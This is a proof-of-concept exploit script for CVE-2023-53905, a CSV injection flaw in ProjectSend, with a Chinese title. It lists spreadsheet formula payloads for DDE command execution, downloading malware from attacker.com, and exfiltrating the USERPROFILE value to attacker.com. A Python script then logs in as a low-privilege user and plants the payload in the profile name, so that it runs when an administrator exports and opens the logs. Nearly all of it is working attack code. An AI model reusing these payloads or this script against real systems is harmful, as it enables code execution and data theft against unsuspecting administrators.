CVE-2023-53905 ProjectSend CSV注入漏洞导致远程代码执行

# PoC for CVE-2023-53905 - ProjectSend CSV Injection # Attack Vector: Inject malicious formula into user profile name # When admin exports logs as CSV, the formula gets executed # Step 1: Create malicious payload payload = '=calc|a!z|' # This triggers calculator on Windows # Alternative payloads: payload2 = '=HYPERLINK("http://attacker.com/malware.exe")' # Download malware payload3 = '=cmd|\'/c calc\'|\'!A1\'' # Direct command execution payload4 = '=WEBSERVICE("http://attacker.com/?"&USERPROFILE)' # Data exfiltration # Step 2: Register new user with malicious name via API or web interface # POST /includes/actions.php (or similar endpoint) import requests target_url = "http://target-projectsend.com" login_url = f"{target_url}/login.php" profile_url = f"{target_url}/users-profile.php" session = requests.Session() # Login with low-privilege account login_data = { 'username': 'attacker_user', 'password': 'attacker_password', 'submit': 'Log In' } session.post(login_url, data=login_data) # Step 3: Update user profile with malicious name profile_data = { 'name': '=calc|a!z|', # Malicious CSV injection payload 'email': '[email protected]', 'submit': 'Update Profile' } session.post(profile_url, data=profile_data) # Step 4: Wait for admin to export logs as CSV # When admin opens the exported CSV file, code execution occurs print("[+] Payload injected successfully") print("[+] Wait for admin to export CSV and open file")